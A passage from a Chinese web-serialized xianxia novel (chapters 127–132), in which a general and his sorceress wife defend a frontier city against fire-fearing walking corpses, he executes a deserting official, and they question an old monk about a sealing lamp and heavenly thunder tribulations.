等他的伤口结痂掉了,开始长肉芽痒得他每天都努力地忍着不要挠的时候,白锦夜这么多天终于第一次回了将军府。 左辞赶紧迎了出去,只不过他的好消息还没来得及说,就听白锦夜对着门房开口道,“去驿站通知一声,把梅君武和唐安带到城外,既然当监军,总不能什么都不做。” 说完白锦夜又拿了他的令牌递给左辞,“拿着手令去栎阳,让他们准备接收月城的百姓。” 左辞一听白锦夜这话,就知道如今事情要比想象中的更麻烦,赶紧接过令牌,“是。” 白锦夜眯了眯眼,继续道,“还有,让栎阳的守军在珠崖布防,决不能让枯尸活着走过珠崖!” 第127章 你得活着(月底求票) 左辞怔了一下,他本以为白锦夜让月城的百姓离开,只是防止百姓被伤害到,但他这么说的话,那就证明月城很可能会失守了! 珠崖在月城和栎阳之间,两侧都是高耸的山崖,只有一条路可以通过,可以说是天险。 在天风国的历史上,也有放弃月城退守珠崖的时候,但那就已经是完全迫不得已的时刻了。 “王爷……” “如果月城守不住,本王会想办法把枯尸都赶到珠崖,到时候在那里一举歼灭。”白锦夜继续道,“你赶紧去吧。” “是。”左辞应了一声,又道,“王爷自己多小心。” 白锦夜点点头。 左辞正要走,裴清歌也走出来叫住了他,他的脚步停下来,看过去,“王妃。” “你带鬼卿一起走。”裴清歌开口道。 左辞看了眼白锦夜,白锦夜没说话,但表情显然也没有阻止。 “我不走。”鬼卿捂着胸口走出来,皱眉看着裴清歌。 “你和左辞一起走。”裴清歌看着他重复了一遍,鬼卿的伤势虽然在慢慢恢复,但是恢复的速度太慢,她不能拿鬼卿的命来冒险。 以前觉得没什么人能伤到冥尸,所以从未担心过鬼卿的安全。 可如今,她只希望鬼卿平平安安的。 鬼卿看着裴清歌,薄唇微抿,没有说话,但是站在那也没有动。 “我不会有事,况且若是栎阳那边需要布防,你也能帮左辞,至少在对枯尸的了解上,你可以给他很多建议。”裴清歌继续道。 鬼卿沉默了一会,终于还是点了点头,但也还是出声交代道,“你得,活着。” “放心吧。”裴清歌应了一声。 鬼卿转眼看了看白锦夜,虽然没说话,但眸中的意味明显。 白锦夜皱了下眉,微微点了点头。 鬼卿这才跟着左辞往外走。 裴清歌看着左辞扶着鬼卿上了马,两个人离开之后,才看向白锦夜,“现在城外怎么样?” “亲自去看看?”白锦夜打量了她一眼。 裴清歌也没拒绝,跟着白锦夜一起出了将军府,不过倒是没有去城外,而是上了北城的城墙。 城墙上的士兵严阵以待,即便是见到白锦夜来,也没人动一下。 梅君武和唐安也紧随着他们被带上了城墙。 “少跟我动手动脚。”唐安这段时间已经快要被气死了,他什么时候受过这样的待遇? 每日吃喝都有人送到房间,但不准他离开房间一步,哪怕他想开窗通个风,窗外都站着一个看守他的士兵。 这简直就是在坐牢! 这样被人严密监视,他连给盛京写封信都难。 但每一桩每一件他都记着,将来只要回了盛京,他必然要到皇上面前去参一本! 后面的士兵嫌唐安走得太慢,又用力地推了他一把。 唐安被推得一个踉跄,停在了白锦夜的面前,他直起身,扫了扫袖袍,“肃亲王,你这番礼遇,我可铭记在心!” 白锦夜扫了他一眼,还没等说话,旁边就传来梅君武震惊的声音—— “这些是什么?都是什么?它们……它们不是活人?!” 裴清歌也走到了城墙边,之前见过的,华擎带人挖的深沟早就被填满了,这些日子她照顾鬼卿和左辞也没有出城,看样子出来的枯尸是越来越多了。 城外直接架起了一道火墙,弓箭手里的箭尖都包着沾了火油的布,只要有枯尸,就立刻点燃箭尖,然后射到枯尸身上。 可更远处,密密麻麻的枯尸正在缓慢的走过来。 白锦夜掸了掸袖子,“唐大人是兵部侍郎,梅郎将也是自小就在军中,今日这事,恐怕二人也得出份力了。” 唐安听到梅君武的声音之后,就走了过去,他看到城下火墙外,那几个已经没了人样的东西,在缓慢的接近,就算被火墙上的火点燃,也像是没有知觉一样,继续挣扎着往前走。 被烧断了一条腿,还有一条腿撑着往前跳,两条腿都断了,就用手用身体往前爬,直到全都烧成黑炭,才一动不动了。 “这……这是什么……”唐安腿一软,坐在了地上。 他这兵部侍郎一职,本就是靠着裙带关系一点点蹭上来的,本以为这一次当监军是个轻松活,现在谁不知道皇上的心思,只要他多给白锦夜找找不快,回去当着皇上的面多说几句白锦夜的坏话,这差事就算是圆满完成。 可哪知道会遇上这样的事? 如果敌人是人还好办,他哪怕跪着求饶,说不定也能保住一条命。 但现在这敌人……像是会讲道理的模样么? 白锦夜才不管唐安是不是吓得腿软了,只说,“给唐大人和梅郎将弓箭,让他们为保卫天风国多少做些贡献。” 梅君武脸色虽然难看,但也是个明大义的人,这些枯尸如果过了月城,进了天风国的国土,到时候遭殃的,就是天风国百姓。 他既然从军,就是为了保护百姓,此刻自然不能袖手旁观,所以弓箭递到他面前,他也没有犹豫,就接了过来。 可唐安坐在那,全身都在发抖,甚至连弓箭都拿不起来。 白锦夜看着他的模样,冷笑一声,挥了挥手,示意将士把弓箭拿走,“唐大人这样,就不要勉强了,杀不了敌事小,伤着自己人就不好了。” 唐安见白锦夜没有勉强,也赶紧开了口,“这……这种事情闻所未闻,王……王爷,我这就回京,向皇上请救兵,让皇上调兵过来支援。” 说完也不等白锦夜说话,抖着两条腿就要离开。 白锦夜眯了眯眼,抽出腰间的软剑,抬手刺进唐安的身体。 唐安低头看着从自己胸口冒出来的剑尖,一时大脑里一片空白,等白锦夜收回了剑,他才缓缓地倒下,但还是挣扎着转身看向白锦夜,“你……你怎么……怎么敢?” “胆小怕事,枉为兵部侍郎,临阵脱逃者,斩。”白锦夜说着甩了甩剑身的血,转头看向身边的将士,“拖出去,挂在城墙上,暴尸三日,再有犯者,一律诛杀!” 第128章 雷劫云 等着唐安被拖走,白锦夜转过身,才看见裴清歌正看着他,眼里意味不明,他不由开口问道,“怎么这样看着本王?” 裴清歌收回目光,“血腥味可能会吸引枯尸。” 白锦夜皱起眉,“那你刚才为何不阻止?” “你要立威,我为什么要阻止你?”裴清歌说着看着远处的枯尸,“如果这些都是活人,也许这些将士不怕,可这些和你们以往遇到的敌人都不一样。” 她顿了顿,又补充,“这么多枯尸,那点血腥味也算不了什么了。” “按照它们的速度,大概再有半天,就到城下了。”白锦夜开口道。 “就怕这不是最后一波,也不是最大的一波。”裴清歌说着叹了口气。 “不过数量多,其实更好解决。”白锦夜眯了眯眼,“一个枯尸身上起了火,就可以连起来一片。” 这些枯尸只怕火,若是真刀真枪的应战,很难解决掉一个枯尸,可一旦它们身上起了火,它们本身没有灭火的意识,就可以很快被解决。 “王爷。”倪徵快步走过来,往北方的天空指了指,那里乌云密布,眼见着是要下大雨了。 若是雨下起来,他们的火点不着,那就只能硬着头皮下场硬战了。 白锦夜转头看向裴清歌,这也是他回去叫她来的原因,这几日只下过一场雨,好在雨不大,也很快就停了,但他就怕在大战的时候下雨。 当时裴清歌刚到王府的时候,曾经用符咒催过雨,他就想她应该也有办法把雨散掉。 裴清歌眯眼看着那处乌云,沉默了会,撕掉一片衣襟,写了一道符咒,朝乌云的方向扔去。 虽然没风,但符咒还是飞了极远,那乌云似乎是感觉到了这符咒,突然从乌云里飞出一道闪电,直直击中了它。 裴清歌像是没想到自己的猜测得到了印证,下意识地后退了一步,半响才清了清嗓子,“这雨散不掉了。” “为什么?”白锦夜的脸色微变。 “这是雷劫云。”裴清歌说着看着鬼王沙漠的方向,那日鬼卿在那里见到了国君和裴姝,他们在鬼王沙漠里做什么?为什么会招来雷劫? “雷劫云?”倪徵不太明白,“王妃,这是什么意思?” 裴清歌抿了抿唇,没有说话。 雷劫云就更麻烦了,它虽然到了,但是却不一定立刻降下雷劫。 这可不好说要酝酿多久,而且酝酿得越久,雷劫云积攒的时间越长,雷劫越大,这期间若是降雨,那也不知道要下多久了。 “不过这云看着离月城还远,应该不会……”白锦夜的话还没说完,那片雷劫云就突然暴涨,像是覆盖住了整个鬼王沙漠,而月城恰好就在乌云的边缘。 黑云压城,一时间,城墙上寂静无声。 任何人心里都清楚,如果枯尸到的时候,下了大雨,火烧不起来,那就意味着这一仗会惨败。 白锦夜微微眯眼,转头看向倪徵,“还有多少百姓没有出城?” “早上开始百姓就在陆续出城,现在还剩下十分之一左右。”倪徵立刻回道。 “去通知一声,加快出城的速度,让人在城里仔细检查,不要有任何人被落下。”白锦夜吩咐道,“一旦抵挡不住,就按照之前说的,放枯尸过月城,你和华擎带人左右随行,不要让枯尸走散,把他们都赶向珠崖。” “是。”倪徵应了一声。 按照这些枯尸的速度,走到珠崖,至少也要三四天,白锦夜之前也传了信去栎阳,让他们提早布防,左辞快马赶过去,布防哪里有疏漏,也来得及调整。 等最后一个百姓出了城,城南门被关上,枯尸距离城下也就只有几里的距离了。 “这一次可真多啊。”华擎拎着刀走过来,他的剑被裴清歌折断之后,还没找到趁手的兵器,不过砍枯尸的话,刀倒是比剑实用多了,“可真是没想到,这一次会有这么多。” 他的话音落下,雨点也跟着落了下来。 这雨下得很急,雨点也大,一盏茶的功夫,城外长长的火墙就被浇灭了。 华擎忍不住抬头骂了一声,举着手里的刀高喊道,“兄弟们,咱们一起杀出城去,砍碎这些该死的东西!” 白锦夜抬手拉住就要往下冲的华擎,看向裴清歌,“有你们王妃在这,她不会看着你们出城去送死的。” 裴清歌躲在城楼门口,也还是被雨打湿了衣角,她没说话,只是看着那些枯尸越走越近。 华擎有点急,“王爷,再不去,它们就到城下了,到时候恐怕城门都要打不开了。” “急什么?”白锦夜也没撑伞,和所有人一样站在雨里,脸上带着几分胸有成竹的模样。 华擎只好看向裴清歌,“王妃,你倒是说句话啊!” “说什么?”裴清歌看着他笑道,“说你冲下去的时候,别忘了带上你家王爷么?” 华擎本身就是急性子,这会都想要跺脚了,正要说话,就被倪徵拉到一旁,对着他摇了摇头,他只好狠狠地踹了一脚城墙。 裴清歌目光重新移到枯尸上,等最前面的枯尸还有几丈就到城墙下的时候,她才从袖子里抽出一道符,在手里甩了甩,符纸就无火自燃,随后又低声念了几句咒。 华擎没听懂她念的是什么,就只听见最后一个字——“起。” 裴清歌的话音落下,她手里的符纸也刚好烧完,不远处的旬阳山突然整个山都冒出火焰。 随即那些火焰分裂出众多的火星,像是被召唤一样,朝这边飞过来。 这些火星完全不怕雨水,瞬间就到了面前。 枯尸的身上一旦被火星碰到,就会立刻以火星为心,燃起大火。 枯尸的数量虽多,但火星源源不断的飞过来,并且大火在枯尸之间迅速的传开,城墙之下,当即变成了一片火海。 “王妃,你倒是早说啊。”华擎挠了挠头,“早知道属下就不急了。” 裴清歌拧起眉,神色异常凝重,“这只能用一次,本来应该最后用的,现在提早用了,以后就只能靠你们自己了。” 她说着顿了顿,虽然有些话不应该说,但是到了此刻,也不能再瞒下去了,她转头看向白锦夜,“当年北冥国抵抗三国大军的,是蛮天一族,他们几乎都死在靠近北冥国的那一侧,如果他们也变成了枯尸,那一定是最后到月城的那一批,这个,本来是给蛮天一族准备的。” 第129章 十五年前的月城变故 白锦夜闻言眉头拧得更死,他听外公提起过蛮天一族,神力无穷,即便是对上上百精兵,都能轻松获胜。 他微微沉默了会,才开口,“这一波暂时无事了,安排人值守,剩下的人先去休息。” “是。”倪徵和华擎应了一声下去安排。 白锦夜也从下属手中接过伞递给裴清歌。 裴清歌接过伞,跟他一起下了城楼,两个人一前一后回了将军府。 “王爷,这么大雨,怎么也不打把伞?”厨娘见白锦夜浑身都湿透了,赶紧举着伞迎上来,“我这就去烧水,洗个热水澡,可别着凉。” 她说着把伞塞到白锦夜的手里,自己不顾大雨跑向了厨房的方向。 白锦夜皱起眉头,看向一边的门房,“你俩怎么还没出城?” 门房讪笑了几声,“王爷在哪,我们就在哪。” “胡闹!”白锦夜瞪着他,“赶紧收拾东西,马上离开月城。” “我们在这,多少能帮王爷做点杂事。”门房微微弯腰站在那,一点回去收拾东西的打算都没有。 “要你们做什么杂事?自己收拾东西走,不然本王叫人把你们赶出去。”白锦夜说着脸色沉下来,显然这件事也没有商量的余地了。 那边烧水的厨娘也听到了两个人说话的声音,又从厨房走出来,“王爷,这正做着饭呢,等做完饭,王爷吃完,我俩就收拾东西出城。” 白锦夜这才没再说话,向卧房走去。 厨娘烧好了热水,白锦夜在房间里沐浴,她往卧房张望了下,才去了前堂,“王妃,热水还有,你一会要不要也洗个热水澡?这月城不比盛京,下了雨,寒气重。” 裴清歌喝了杯姜茶,已经暖和了不少,“晚点再说吧。” 厨娘站在那犹豫了会,继续道,“十五年前,月城大乱,那会我娘正好带着我去姨母家走亲戚,本来也是早该回来的,可没想到姨母家那里发了大水,一直到三个月后,才回了月城。” “城门以往都有卫兵守着,可我们回来的那天,城门口什么都没有。娘也觉得奇怪,又走了几步,娘突然就捂住了我的眼睛,但我也看见了,城门口的歪脖子树上,吊着一个人。” “从城门到回家的路上,娘用布条蒙住了我的眼睛,拉着我走,我虽然看不见,但我也能感觉到娘浑身都在颤抖,我很想看看外面怎么了,但娘不让我摘掉布条。” “一直到回了家,推开大门,娘就叫了一声,晕死过去,我摘掉了布条,才发现我家人早都已经死了。” 厨娘说着搓了搓手,叹了口气,“有的人是跳井,有的人是自己拿着刀砍死了自己,我那三岁的弟弟,甚至像是自己把自己吊在了房梁上。” “月城里,已经没有一个活口了,自然也没人能解答我的困惑,而娘醒来后,就疯了。后来有些山匪盗贼来了月城,他们四处搜刮,把我和我娘劫到了山上。” “过了没多久,娘发病的时候,从山坡上滚落摔死了,就剩下我自己,咬牙活了下来。我也不知道那样非人的日子过了多少年,直到王爷带兵来了月城,剿灭了山匪,救了我,可我已经没有家了,不知道该去哪。” “老陈是跟着王爷剿山匪的兵,被打断了一条腿,他也没有家人,离开军营无处可去。王爷就收留了我们两个,让我们留在将军府,做些力所能及的事。” “老陈也不嫌弃我,哪怕……我已经不能生育,但他还是向王爷说明,想要娶我,我们就在王爷的见证下,成了亲。” 厨娘说着看向裴清歌,“其实王爷收留的也不只是我们,很多像我们这样的人,王爷都会想办法尽心安顿。” 裴清歌把玩着手里的茶杯,没有说话。 “王妃,我和老陈相处多年,这夫妻之间……” “厨娘。”裴清歌打断她的话,开口问,“你是说,当年月城出事的时候,你和你娘不在月城,那你知道这月城,还有多少像你们因为不在城里躲过一劫的?” 厨娘看着裴清歌,停顿了下,才说,“还有一个一直住在城外寺里的大师,那处寺庙有些年头了,月城的人基本上都去那里拜佛烧香,本来寺里是一老一少两个师傅,但是那年少的师傅据说在月城出事前上山砍柴,掉进了个古墓,摔破了头,人也没了,大师还没有再收徒弟,月城就出事了。” “你去见过他?”裴清歌见厨娘这么细节的事都知道,便问道。 厨娘点点头,“那年的事,我毕竟心中一直困惑,所以被王爷从山匪窝里救出来之后,生活安定了些,我听说那大师还在,就去了一趟,我很想知道,到底发生了什么事,才会让月城变成那样,只不过那大师也不清楚。” 裴清歌微微眯了下,又问,“可你说月城的人都去那寺庙烧香拜佛,按说应该是香火鼎盛,为什么只有一老一少两位师傅?” “我小时候也跟着家人去过那寺庙,听说是什么规矩,一脉单传,选徒弟也很严苛,要是有弃婴被扔在庙门口,师傅都会花重金托人把弃婴送到栎阳的寺庙。”厨娘想了一会,才回道。 裴清歌勾了勾唇,“有点意思,那位大师现在还健在么?” “活着是活着,但是不知道这会是不是也去栎阳了。”厨娘说着顿了顿,还是想把话题转移到自己要说的话上去,“王妃,其实你和王爷……” “我和王爷挺好的。”裴清歌把手里的茶杯放下,再次打断厨娘的话。 厨娘看着她,她也不是黄毛丫头了,怎么看不出来,王爷和王妃之间的关系怪怪的,两个人哪里像是夫妻,恐怕连一般的朋友关系都不如。 前些日子王妃照顾她随从的那个心思要是有一半能用在王爷身上……也不会是今天王妃打着伞回来,身上干爽,而王爷走在前面,浑身都湿透了。 王爷待他们好,他们当然希望王爷和王妃能琴瑟和鸣。 厨娘还要说什么,白锦夜已经沐浴完,换了干爽的衣服来了前堂,她也不方便再说下去,只好转身对着白锦夜福了福,“王爷,我去把饭菜端上来。” 白锦夜点点头,走到桌边坐下,看着裴清歌看着门外的雨幕,像是在出神地想着什么。 裴清歌指尖轻轻地敲着桌面,看样子,她得去那寺庙一趟了。 第130章 活人走活人的路,死人走死人的路 吃过晚饭,厨娘收拾好,和门房老陈一起拜别了白锦夜,连夜出了城。 他们离开之前,裴清歌也问清楚了寺庙的位置,她从仓房里翻出来一件蓑衣,披在身上,就要出门。 “你要去寺庙明天再去就是了。”白锦夜拧眉看着她,“这么大雨,山上路又滑,那寺庙今晚会自己长腿跑了不成?” “万一跑了呢?”裴清歌说着去马厩牵马。 白锦夜挡在马厩门口,那寺庙他也听过,在月城城东的一座山上,十五年前月城的人都去那里烧香拜佛,路也好走。 后来月城慌乱多年,这几年虽然安定了,但是月城的这些人,倒是经常往军营送吃的,却几乎没人再去那寺庙了。 这么多年,山路早就没了。 前些年,厨娘想去,老陈腿脚不便,不能跟她一起去,还是老陈找了几个相熟的在休假的士兵同僚陪着厨娘去的。 厨娘仅凭着年少的记忆,也在山上找了大半天,迷路几次,才找到那寺庙。 裴清歌一次都没去过,现在是晚上又在下雨,这时候上山,不是自找不痛快? “我又没让你跟我去。”裴清歌牵着马,看着堵在马厩门口的白锦夜,“快点让开。” 白锦夜没有动。 裴清歌有点急了,“白锦夜,你……” 她的话还没说完,就见白锦夜抬手过来拉缰绳,她皱了皱眉,反正她估摸着现在白锦夜应该不是她的对手,她倒是不怕跟他动手。 正要把缰绳抢过来,却见白锦夜翻身上了马,然后对着她伸过手,“上来。” “你……”裴清歌看着他的手,下意识地把自己的手背在了身后,“你要是去,就自己去骑马。” “山路不好走,分骑两匹如果马受惊会走散。”白锦夜说着打量着裴清歌,“你这么防备本王做什么?本王又不能控制你。” 裴清歌微微抿了抿唇,还是说,“白锦夜,你少多事。” “现在这个时候,你觉得你自己能出城?”白锦夜看着她,“就算你能出城,那马呢?你打算走过去?” 裴清歌的手握成拳,好半天,才抬手拍开白锦夜的手,自己拉着缰绳上了马。 东城门有士兵守门,见到是白锦夜,也没有拦。 但白锦夜还是拉着缰绳停了下来,“去通知华将军和倪将军一声,就说本王明早再去跟他们汇合,让他们今晚把城外的骨灰都清走,注意巡防。” “是。”领队的将士应了一声,赶紧照办。 白锦夜这才继续往城外走。 他没有去过那个寺庙,但是以前巡城的时候,曾经到过山下,所以这段路也还算熟悉。 即便是下着大雨视线受阻,影响倒也不大。 好歹这段都是平地,也还好走,可到了山上,草叶树叶沾了水,地面太滑,马走了一段就已经没办法再走了。 两个人只好下了马,白锦夜把马系在树上,往山上看了看,根本没办法分辨方向,“你确定还要往上走?” 裴清歌四下看了看,手上捏了几个印诀,召来一个游魂。 他们没办法分清方向,不知道怎么走,但是在这山上的游魂肯定是知道的,“跟着我。” 白锦夜虽然不知道裴清歌在做什么,不过他也知道,她既然敢来,其实还是有办法的,于是也就立刻跟上她的脚步。 路虽然难走,但好在那寺庙曾经就是为了受人香火,所以本也没有隐在深山老林,沿着一个方向,一直往山上走,走到山顶,就隐约见到那寺庙在一处背风的地方。 寺庙有佛,游魂不敢太靠前,裴清歌也就挥了挥手,让它走了。 从高处看,那寺庙里隐隐有一点点的灯光,但是灯光忽暗忽明,像是随时都会熄灭。 裴清歌和白锦夜走到寺庙前,寺庙的大门都残破了,已经没办法合上,所以他们两个倒是也不用敲门,就直接走了进去。 这庙是个四方的院子,倒也不算很大,院中间有一口大鼎,左右的偏房年久失修早已经坍塌。 只有佛堂正殿亮着灯光,两个人也就到了正殿门口。 白锦夜抬手敲了敲门,里面没有任何反应,他又用力地拍了拍门,隔了好半天,门才被人从里面拉开了一个小缝隙。 一个佝偻着腰穿着打了不少补丁的袈裟的老和尚从门缝看出来。 “大师,我们来山上祭祖,遇上大雨迷了路,发现这有座庙,想来借宿,可以么?”裴清歌开口问道。 老和尚打量了半响,才转身往回走,也没有关门,这意思应该是让他们进去了。 白锦夜转头看了裴清歌一眼,才推开门走了进去。 这庙虽然残破,但也能避风雨,里面有个火炉正烧着火,殿里也算暖和。 火炉不远处有个长条形的蒲草垫子,老和尚半卧在垫子上,闭着眼睛,手里转着佛珠,像是也不打算理会进门的两个人。 裴清歌脱下蓑衣放在门口,白锦夜找了两个蒲团放在火炉边,两个人坐下来烤了会火,寒气驱散了些,裴清歌才开了口,“大师,我看你的面相,似是快要圆寂了。” 老和尚捻着佛珠的手指停了下来,顿了会,才睁开眼,目光在两个人的身上转了一圈,才笑道,“一屋三人六腿,竟有三条腿都在鬼门关里。” 裴清歌皱起眉头,“大师此话何意?” “老衲快要圆寂,一条腿迈进了鬼门关,这位男施主比老衲也好不到哪去,老衲腿脚慢,说不定在奈何桥上还能碰到。至于你……”老和尚的目光停在裴清歌的脸上,“你从鬼门关只爬出来一半,自己不知道么?” 裴清歌倒没想到这老和尚一眼就看出自己是重生,她确实是从鬼门关里爬出来,在这具身体上活了,但是这只爬出来一半又是何意?“还请大师指点。” 老和尚念了句佛偈,脸上带着几丝无奈,像是在纠结什么,半响才叹了口气道,“罢了。”说完他坐起身,看着裴清歌,“活人有活人的路,死人有死人的路,何苦走不属于自己的路?” 第131章 这世上寿命到了又不想死的人真多啊 裴清歌抿了抿唇,没有说话。 “你若相信命数,你此时就不该在这。”老和尚又道。 裴清歌看着他,以往这些话,怕是都是她对别人说的,如今这些话用到她身上,似乎也没什么不对,“大师说的是,可我已经在这了。” “你这魂魄若不全从鬼门关拉出来,魂魄和身体就没办法完全契合,到时就看哪边的力量大,你是继续留在人世,还是全进鬼门关,可能就在一念之间。那把你拉出鬼门关的人,只拉了一半……”老和尚顿了顿,又说,“也不知本身是个半吊子,还是故意的。” 裴清歌见他说话遮遮掩掩,也不想继续这个话题,就直接问,“大师,我听说这寺庙一脉单传,你只收了一个徒弟,但是那徒弟在十五年前月城出事前夕,亡故了,我想知道,这两件事有没有关联?” 老和尚又叹了口气,“按照古河图的走向,在天风国,像这样的寺庙,一共有一百四十九座,每一座,都供奉着一盏长明灯。”他说着朝大殿正中的佛像看去。 裴清歌和白锦夜也顺着他的目光看过去,香案中间,便是一盏长明灯,也是他们在外面看到的忽明忽暗的灯光。 “这长明灯……火势不太好。”裴清歌皱起眉头。 “它亮与不亮,已经无用了。”老和尚看着那灯光,“十五年前,它就已经灭过一次了。” 裴清歌眸光一震,“你是说,十五年前,月城的事,是因为这长明灯熄灭了?”她说着顿了顿,“这一百四十九盏长明灯,是瘟神蜮的开关?只要长明灯熄灭,瘟神蜮就会被释放?” 老和尚像是没想到裴清歌会知道瘟神蜮,听她提到这个,忍不住看了她一眼,才点了点头,但又摇了摇头,“这一百四十九盏长明灯,是一个巨大的阵法,镇压着天风国所有的瘟神蜮,一盏长明灯熄灭,它附近的瘟神蜮都会被释放,幸好这附近就只有月城,不然十五年前……” “所以你们一脉相传,就是为了守护这盏长明灯?”裴清歌开口问道,“那十五年前,长明灯是因何熄灭的?” “是我眼拙,选错了人。”老和尚的脸上逐渐布满内疚之情,“我按照师父教我的,选出符合条件的下一任守灯人,可哪知他被西夜国的富贵荣华迷了眼,趁我不注意,竟灭了长明灯!” 他说着也忍不住捶了一下垫子,“那灯一灭,死的可就是月城千千万万的人啊!” “这么说,你那徒弟也不是上山砍柴跌落古墓,是被你杀了吧?”裴清歌道。 老和尚点点头,“我从襁褓之时把他养大,二十年相依为命,我把他当成儿子一般,没想到……这些年,我诵经念佛,可那些被瘟神蜮害死的人,哪还有被超度的机会?” “那这灯以后也不用再守了么?”白锦夜皱了下眉头,开口问道。 “不用守了。”老和尚摇摇头,“任何一盏灯熄灭,只会放出附近的瘟神蜮,对其他的没有影响。我再把它点燃,也是提醒我铸下的大错。” “这也不是你的错。”裴清歌看着他,“人心难测。” “那为何这种事,朝廷不知道?”白锦夜又问道,“若是有皇家驻军看守,不是更安全么?” “如果改朝换代呢?”裴清歌转头看向白锦夜,“若是有人心存恶意呢?知道的人越多,越难防。” 白锦夜皱了下眉头,没再说话。 老和尚叹了口气,“我本来以为这件事,该随着我的死一起入土,没想到你们竟寻到这里,也是缘分吧。” “那你知不知道,这瘟神蜮是谁设下的?这法阵又是谁用来镇压瘟神蜮的?”裴清歌知道,他们师传徒,有些事情应该会传下来,至少知道敌人是谁,也应该知道要防着什么样的人。 “传说……”老和尚犹豫了会,才继续道,“黄帝有二十五子,得姓者十四人,还有十一人未得姓氏,但却继承了九天玄女的血脉,被称为‘十一公’,这法阵便是‘十一公’之中的‘神阵公’后人所设。传说他们在对抗一个非常强大的敌人,只不过这人是谁,就不得而知了,我只是听师父说过,这个敌人善用‘蜮’来害人。” “术法传到今日,懂者寥寥无几,听说最强大的术法,都在北冥国不外传,而我们所会的,也不过是为了守灯而已。” 正说着话,外面突然一个惊雷炸响,雷声之大,闪电之亮,前所未有,三人不由全都侧目向外看去。 “雷劫到了。”裴清歌低声道。 “不知道是何人又在做逆天之事了。”老和尚叹了口气,收回目光,看向裴清歌,“你附耳过来。” 裴清歌犹豫了下,才走过去,弯腰靠在老和尚的嘴边。 老和尚压了极低的声音,“你与我也算有缘,我给你指条明路,你去找‘神冥公’的后人,他的后人能穿阴阳二界,走黄泉路,可以把你的另外一半从鬼门关拽回来。”他说着目光瞥了白锦夜一眼,眸中的意味不明。 按说三人之间的距离不远,白锦夜的听力也向来不错,可是老和尚的话,他却一个字都听不见。 裴清歌闻言也怔了一下,想起白锦夜梦中的黄泉路,难道白锦夜是“神冥公”的后人?她师父知道没办法完全帮她重生,才会让她重生在白锦夜身边,就是希望白锦夜能帮她彻底从鬼门关走出来? 犹豫了会,裴清歌才问,“可我为什么感觉不到自己一半在鬼门关内?” 老和尚看着她笑了笑,“你要如何感觉?你感觉到的时候,你就整个人都在鬼门关里了。” 裴清歌坐回到自己的垫子上,沉默着没有再说话。 又隔了半响,第二道雷劫也落了下来。 老和尚朝外面看着,手指捏了捏,掐算了一番,像是自言自语道,“竟是逆天改命的雷劫,这世上寿命到了又不想死的人还真多啊。” 逆天改命?裴清歌眉头狠狠地皱起,国君和裴姝……是裴姝在给国君逆天改命?所以裴姝才会瞬间苍老,她在给国君续命? * 暗城之内,楚云颂站在城墙上,任由雨水浇透衣服,目光直直地盯着鬼王沙漠里的经受雷劫的方向,嘴里喃喃地道,“国君……到底是成功了。” 第132章 第十道雷劫! 第二个雷劫降下来以后,外面的雨更大了,甚至还刮起了大风。 这寺庙虽在避风处,但是也能清楚地听见,外面的风声仿佛狼哭鬼嚎一般。 白锦夜倒是没有关注外面的风雨,目光反倒是落在了裴清歌的侧脸上。 这老和尚说,裴清歌还有一半在鬼门关里没拉回来,他能开冥路,把魂魄送进鬼门关,倒是不知道能不能把人拉回来了。 如今也不知道裴清歌的师父去哪了,看样子有机会倒是可以私下问问这个老和尚。 之前裴清歌的师父说不是什么人都能逆天改命,按照她当时的意思,这世上就只剩下裴清歌一个人可以逆天改命,那现在在鬼王沙漠里做这件事的人,又是谁呢? 裴清歌收回目光,看向老和尚又问道,“我之前听人说,在西夜国和东凉国也都有瘟神蜮,当年月城出事之前,西夜国也有几个城池出了事。前几年有人专门在西夜国化解各地的瘟神蜮,但说是还剩下几处没有处理。” “按照你所说的,那瘟神蜮应该都在供奉长明灯的寺庙附近,不知道供奉长明灯的寺庙,该如何辨识?” 老和尚凝眸看着裴清歌,“你想凭借一己之力,去解决这世上所有的瘟神蜮呢?”他说着笑了笑,“女施主,依我看,你还是多考虑考虑眼前事吧。” “人各有命,我现在活着的时间,就已经算是偷来的了,能多做些事就多做些。”裴清歌开口道。 “你倒是想得开。”老和尚说着又捻了捻手里的佛珠,最终还是摇了摇头,“我刚才说的那些,已经是不该说的了,关于长明灯一事,确实不能再透露了。” 裴清歌微微抿了下唇,刚才老和尚说,长明灯是按照古河图的走向排列,那瘟神蜮估摸着也差不多了,回头按照古河图研究一遍,找几处探探,只要摸出几个,就能推出全部的位置了。 大殿里再次安静下来,大殿外面,第三道和第四道雷劫接连一起落下,一道比一道震耳。 第四道雷劫落下之后,裴清歌和老和尚的脸色几乎同时变了下。 裴清歌眯了下,“这些邪物大概是被雷劫惊着了,逃起命来也顾不得方向了。”她说着站起身,拎起地上的蓑衣披在身上,准备出去。 白锦夜也跟着站起来。 老和尚却抬眼看他,“你出去能帮得上忙?” 白锦夜皱了下眉,重新坐下来,等裴清歌出了门,才向老和尚开口问道,“这雷劫一共有多少道?” “九道。”老和尚垂眼看着佛珠,“一道比一道重,若是中间哪一道没挡住,剩下的雷劫也不用再劈了,若是九道都挡住了,雷劫就散了。” 白锦夜眉心蹙得更紧,如此而言,对他来说,莫不如直接成为冥尸来得痛快。 沉默了半响,他才又问,“如何把人从鬼门关里拉出来?” 听他提起这个,老和尚的脸上带了几丝笑意,他抬眼觑着白锦夜,“你见过鬼门关了?” 白锦夜摇了摇头,他现在甚至都还没弄明白他是怎么开冥路的,又怎么会见过鬼门关? 老和尚脸上的笑意不减,“等你见过鬼门关,你就知道怎么拉回来了。” “那鬼门关长什么样?”白锦夜又问。 “我怎么知道?这活人怎么见鬼门关?”老和尚探了探手,“虽然我马上就能见到了,可惜也没办法告诉你了。” 白锦夜看着他,“那等我见到鬼门关的时候,我岂不是也死了?” 老和尚大笑了几声,有些无奈地摇了摇头,“后人如此,‘十一公’怕是死不瞑目啊。”说完,老和尚坐在那,闭上眼睛,捻着手里的佛珠,开始低声诵经。 白锦夜见他这模样显然是不愿意再开口了,也知趣地没再询问。 约摸着一炷香的功夫,裴清歌才回来,虽然披了蓑衣,但是外面风雨太大,身上的衣服也淋湿了一片,她回到火炉边,一边烤衣服一边开口道,“我在外面设了阵法,那些邪物看不到这里,就不会误闯进来了。” 白锦夜眼底闪过一抹担忧,看着她低声问,“那这些邪物会下山么?” 裴清歌知道他担心军营那边的事,就直接开口道,“不会,对它们来说,就算是害怕,这山上也还是最安全的,只要雷劫不劈到这山上,它们不会往山下跑。” 她说着顿了顿又补充,“那些枯尸也一样,雷劫没下来,它们还会往外走,雷劫一下来,它们本身就害怕这个,早就吓得不敢动了,所以这雷劫不过去,暂时月城都是安全的。” 